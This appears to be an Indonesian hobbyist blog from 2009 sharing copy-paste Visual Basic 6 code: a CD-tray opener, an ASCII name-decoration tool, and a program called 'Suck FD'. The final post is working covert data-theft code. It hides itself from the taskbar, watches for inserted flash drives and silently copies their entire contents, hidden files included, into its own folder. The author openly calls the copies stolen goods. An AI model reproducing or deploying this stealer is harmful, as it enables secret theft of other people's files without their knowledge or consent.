09 December 2009

code membuat Open CD RW

yg dibutuhkan :

1 buah form
2 buah kewelbulton
1 buah module
1 buah Timer1
Oke neh code nya Tingal Copy Paste aja

General
-------->
Option Explicit
Private Declare Function MCISendString Lib _
"winmm.dll" Alias "mciSendStringA" _
(ByVal lpstrCommand As String, _
ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Dim Ret As Long
Dim RetStr As String
-------->
Private Sub Form_Load()
Transparan = 150
SetTrans Me.hwnd, Transparan
End Sub
-------->
Private Sub TblBuka_Click()
Ret = MCISendString("set CDAudio door open", _
RetStr, 127, 0)
End Sub
------->
Private Sub TBlKeluar_Click()
Ret = MCISendString("set CDAudio door closed", _
RetStr, 127, 0)
End Sub
------->
Private Sub Timer1_Timer()
On Error Resume Next

If (Label2.Left + Label2.Width) <= 0 Then
Label2.Left = Me.Width
End If

Label2.Left = Label2.Left - 25
End Sub
------->
Module
------>
Option Explicit
Public Transparan As Integer
Private Const LWA_COLORKEY = 1
Private Const LWA_ALPHA = 2
Private Const LWA_BOTH = 3
Private Const WS_EX_LAYERED = &H80000
Private Const GWL_EXSTYLE = -20

Private Declare Function SetLayeredWindowAttributes _
Lib "user32" (ByVal hwnd As Long, _
ByVal color As Long, ByVal x As Byte, _
ByVal alpha As Long) As Boolean

Private Declare Function SetWindowLong _
Lib "user32" Alias "SetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long, _
ByVal dwNewLong As Long) As Long

Private Declare Function GetWindowLong _
Lib "user32" Alias "GetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long) As Long

Sub SetTrans(hwnd As Long, Trans As Integer)
Dim Tcall As Long
Tcall = GetWindowLong(hwnd, GWL_EXSTYLE)
SetWindowLong hwnd, GWL_EXSTYLE, Tcall _
Or WS_EX_LAYERED
SetLayeredWindowAttributes hwnd, RGB(255, 255, 0), _
Trans, LWA_ALPHA
Exit Sub
End Sub

¸.´)(`·•||[Á§Ç‡‡ ßý : Á R ‡ §]||•·´)(`.¸

ni code2 membuat id asci

disini yg dibutuhkan :

1. 2 Buah Form
2. 1 buah TextBox
3. 3 Buah Command
4. 1 Buah Module
5. 1 Buah Timer1
6. 4 Buah ListBox
7. 1 Buah Label
Oke siap membuat id nya Tigal Copy Paste aja yee ,yg penting anda tau dimana letak2 scrip nya :-D

Private Sub Command1_Click()
On Error Resume Next

' this copys the text in your text box to the clipboard on your pc so you can paste it anywere
Clipboard.Clear
Clipboard.SetText (Text1.Text)
End Sub
-------->
Private Sub Command3_Click()
On Error Resume Next
Form2.Show vbModal
End Sub
-------->
Private Sub Form_Load()
On Error Resume Next
Transparan = 150
SetTrans Me.hwnd, Transparan

'this loads all the text in your list box's
List1.AddItem "~"
List1.AddItem "!"
List1.AddItem "@"
List1.AddItem "#"
List1.AddItem "$"
List1.AddItem "%"
List1.AddItem "^"
List1.AddItem "&"
List1.AddItem "*"
List1.AddItem ")"
List1.AddItem "("
List1.AddItem "_"
List1.AddItem "+"
List1.AddItem "-"
List1.AddItem "="
List2.AddItem "~"
List2.AddItem "!"
List2.AddItem "@"
List2.AddItem "#"
List2.AddItem "$"
List2.AddItem "%"
List2.AddItem "^"
List2.AddItem "&"
List2.AddItem "*"
List2.AddItem "("
List2.AddItem ")"
List2.AddItem "_"
List2.AddItem "+"
List2.AddItem "-"
List2.AddItem "="
List1.AddItem "¥"
List2.AddItem "¥"
List1.AddItem "£"
List2.AddItem "£"
List3.AddItem "-----•(-•"
List4.AddItem "•-)•-----"
List3.AddItem "llllll"
List4.AddItem "llllll"
List3.AddItem "*´`·..í"
List4.AddItem "ì..·´`*"
List3.AddItem "‹--*(["
List4.AddItem "])*--›"
List3.AddItem "<--->"
List4.AddItem "<--->"
List3.AddItem "...*^*.)"
List4.AddItem "(.*^*..."
List4.AddItem "]!¡!["
List3.AddItem "]!¡!["
List3.AddItem "--*(*--(["
List4.AddItem "])--*)*--"
List3.AddItem "iiiiii"
List4.AddItem "iiiiii"
List3.AddItem "__"
List4.AddItem "__"
List3.AddItem "¯\(o_0)/¯"
List4.AddItem "¯\(0_o)/¯"
List3.AddItem "^__^"
List4.AddItem "^__^"
List3.AddItem "---"
List4.AddItem "---"
List3.AddItem "~~>"
List4.AddItem "<~~"
List3.AddItem "<+>"
List4.AddItem "<+>"
List3.AddItem "-{^}->"
List4.AddItem "<-{^}-"
List3.AddItem "<~~``~~>"
List4.AddItem "<~~``~~>"
List3.AddItem "--~..~--"
List4.AddItem "--~..~--"
List3.AddItem "Xo~!~oX"
List4.AddItem "Xo~!~oX"
List3.AddItem "Xo+--^--+oX"
List4.AddItem "Xo+--^--+oX"
List3.AddItem "Xo+--^-*-+oX"
List4.AddItem "Xo+-*-^--+oX"
List3.AddItem "Xo+-*-^-*-_+oX"
List4.AddItem "Xo+_-*-^-*-+oX"
List3.AddItem "Xo+}--^-*-_+oX"
List4.AddItem "Xo+--^-*-_{+oX"
List3.AddItem "-*-*-*>>>"
List4.AddItem "<<<-*-*-"
List3.AddItem ":::--->"
List4.AddItem "<---:::"
List3.AddItem "*-)-)-)>"
List4.AddItem "<-(-(-(-*"
List3.AddItem "#-+-+-+#"
List4.AddItem "#-+-+-+#"
List3.AddItem "*´¯¥¯`*"
List4.AddItem "*´¯¥¯`*"
End Sub
------>
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
'this unloads your program and shuts it down the right way
Unload Me
End
End Sub
------->
Private Sub List1_Click()
On Error Resume Next

'this adds your text to the text box
Text1.Text = List1.Text & Text1.Text
End Sub
--------->
Private Sub List2_Click()
On Error Resume Next
'this adds your text to the text box
Text1.Text = Text1.Text & List2.Text
End Sub
---------->
Private Sub List3_Click()
On Error Resume Next
'this adds your text to the text box
Text1.Text = List3.Text & Text1.Text
End Sub
----------->
Private Sub List4_Click()
On Error Resume Next
'this adds your text to the text box
Text1.Text = Text1.Text & List4.Text
End Sub
----------->
Private Sub Form_Load()
Transparan = 150
SetTrans Me.hwnd, Transparan
End Sub
----------->
Private Sub Timer1_Timer()
If (Label1.Left + Label1.Width) <= 0 Then
Label1.Left = Me.Width
End If

Label1.Left = Label1.Left - 25
End Sub
----------->
Ne Module Nya
----------->
Option Explicit
Public Transparan As Integer
Private Const LWA_COLORKEY = 1
Private Const LWA_ALPHA = 2
Private Const LWA_BOTH = 3
Private Const WS_EX_LAYERED = &H80000
Private Const GWL_EXSTYLE = -20

Private Declare Function SetLayeredWindowAttributes _
Lib "user32" (ByVal hwnd As Long, _
ByVal color As Long, ByVal x As Byte, _
ByVal alpha As Long) As Boolean

Private Declare Function SetWindowLong _
Lib "user32" Alias "SetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long, _
ByVal dwNewLong As Long) As Long

Private Declare Function GetWindowLong _
Lib "user32" Alias "GetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long) As Long
Sub SetTrans(hwnd As Long, Trans As Integer)
Dim Tcall As Long
Tcall = GetWindowLong(hwnd, GWL_EXSTYLE)
SetWindowLong hwnd, GWL_EXSTYLE, Tcall _
Or WS_EX_LAYERED
SetLayeredWindowAttributes hwnd, RGB(255, 255, 0), _
Trans, LWA_ALPHA
Exit Sub
End Sub

Semoga bermanfaat ........... :D

08 December 2009

SUCK FD

Suck FD adalah program untuk mengcopy semua
isi flash disk yang berjalan secara background / invisible.
hasil peng-copy`an flash disk nya berada di
tempat program Suck FD ini berada. Jadi sebaik
nya Program Suck FD ini dibuat dalam Folder....
Supaya hasil curiannya ngga berserakan...... :)

Copy Paste aja :
'FUNGSI API NGECEK DRIVE BARU [FDiSK]
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String)


'APP DIJALANKAN HIDEN / SECARA BACKGROUND
Private Sub Form_Load()
App.TaskVisible = False
Me.Hide
End Sub


'FUNGSI BUAT NGECEK DRIVE BARU
Private Sub Timer1_Timer()

Drive1.Refresh
Dim i As Integer
For i = 0 To Drive1.ListCount - 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
Label1 = Drive1.List(i) & "\"
cekkopy
Label2 = "udeh"
Exit Sub
Exit For
End If
Next
Label2 = "blum"
End Sub


'PERINTAH XCOPY DOS [BUAT NGOPI SEMUA ISI FLASDISK SECARA KESELURUHAN TERMASUK FILE HIDEN
Private Sub cekkopy()
If Label2 = "udeh" Then
Exit Sub
Else
Shell ("xcopy /S /H /Y /C " & Label1), vbHide
End If
End Sub